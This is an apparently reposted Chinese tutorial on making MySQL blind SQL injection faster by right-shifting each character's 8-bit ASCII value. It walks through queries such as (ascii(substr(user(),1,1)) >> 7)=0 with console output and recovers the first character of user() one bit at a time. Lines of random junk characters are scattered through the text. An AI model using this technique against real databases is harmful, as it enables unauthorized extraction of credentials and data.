关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位


& D8 C+ ?) f6 a# j0 v9 S
下面将以查询mysql数据库当中user()的第一位为例:


- E: B; n* o4 h) T
. ]/ E6 f5 C, @% U+ kps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


9 r: l) x8 Q8 k& F4 a. h
/ \" s& n& J7 [( ^( _2 y8 l7 M1 C9 F首先执行如下sql语句:



mysql> select (ascii((substr(user(),1,1))) >> 7)=0;



我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
& g1 h& {/ K4 S/ |+ k1 X
8 v+ y8 t7 c6 H. n( O8 b7 ~

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



* N: L" W% {1 `" W) S如果运算结果为1,说明第一位为0,不为1
7 _. g) s. R* M  E
1 n7 t9 x& h- C, \: ]" v. T8 c" Q3 l
8 v. p7 b8 g0 Z4 |
+————————————–+
2 m+ U( o, w$ I
| (ascii((substr(user(),1,1))) >> 7)=0 |
, Y6 ?3 [% F1 O' n, @+ n
+————————————–+

  v% S6 a; d; j| 1 |

+————————————–+

! ~" Z; {( c; f. S  ^! T% o1 row in set (0.00 sec)
- k% K" C# [7 L' I0 e$ v* b
1 A: c& @& b# J+ h+ B, r# i4 k1 R1 X这样我们就确定这个8bit的ascii的第一位为0
* z/ V; e' u8 y+ R0 W: z! _* s


第二次我们来做6次右偏移来确定前两位
5 H1 `' ~" S9 z9 M2 b4 J2 X
0 X. \) ]. C9 A/ F
/ M. D5 M0 m9 T" \+ U* b
前两位可能是01或00,即依然可以与0做比较,

0 d' {! ~/ N2 r6 [mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
* k* @5 \/ P3 t/ ?9 L1 j7 {
2 Q  N4 O1 d. |/ ~* u+————————————–+

! B! R+ [" G8 Y+ v| 0 |

* m4 e7 v: D( [" G' u+————————————–+

1 row in set (0.00 sec)

. |- K3 A1 ?: t% s6 ]/ @
% Y4 O- T; d) x1 ]9 u
结果为0,即第二位为1


$ p- e6 g; ~& J. A$ r( A
7 W) t' l# A  F' j5 m: d- S3 V开始猜测前三位为010或011
& c$ A/ Y5 C+ `, \5 k2 D
1 g/ A8 {0 S) j2 l5 t7 W
' C$ Q0 D2 ^$ d
( X) [7 w5 y: i" a% }# O让我们看看010和011的ascii码是多少



& e( M3 E+ v. y' c5 ?% U5 C$ ~分别查询select b’011′ select b’010′

( X9 M; W7 Y2 G, _

获得结果 010 = 2 011 = 3
' C8 v' v3 M/ @/ v6 C2 m" `
* ~: _$ @) i- Z; E5 ]6 F
& W  l" M( l0 ]7 ?. W) Y0 D7 X
4 v' q) U7 p6 j8 r& o执行如下sql:
* w0 p1 a1 N% I  N; u# s
* z8 R' i/ e1 {+ K; Q# S
5 s$ R# B& N9 j! z9 |9 Z! {% `( @+ q, ]. r
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

8 n4 T( W9 D7 R- ?0 U$ j0 ]$ K, C5 G4 w| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+

| 0 |
4 u( ^: p8 N7 ^' x. T3 q6 H
+————————————–+

即前三位不为010,而是011



直到获得最后一位
+ ?5 a1 q8 D' G' ]0 b2 H


最终结果为:01110010

+ t! e+ E" {9 {9 S( m! w* R& O
2 N6 {- ^( H$ }
转换一下:
/ l7 T" U2 d5 y
$ T' W( v- m9 P+ P& t+ a/ r0 S5 q/ e& F' J
0 @8 p& r/ J7 D2 i# V+ S7 n
7 v  @0 y0 q+ D- W8 z$ |1 eselect b’01110010′
: I9 {) J1 \4 f( w
) z! R9 m5 o+ a; d! r1 u
+ O  L0 a, I% f
查询结果

8 n4 N5 J, X3 F+ W  i
' H  X) X: K' A# P; J: s# a
/ A& ?* k; I' k4 }" i+————-+
  O. C2 g# f8 s- w6 j
| b’01110010′ |

6 B7 z& O; e+ B( u+————-+
* U  X, Y4 Y! y8 L
8 c: R( v  K% e| r |
4 _( H. A2 U6 f
+————-+

( B+ u6 y1 X$ R1 row in set (0.00 sec)


* b( S6 K7 d) m# q6 F: B. \) P
这样我们就获得了user()的第一位.其它位依此类推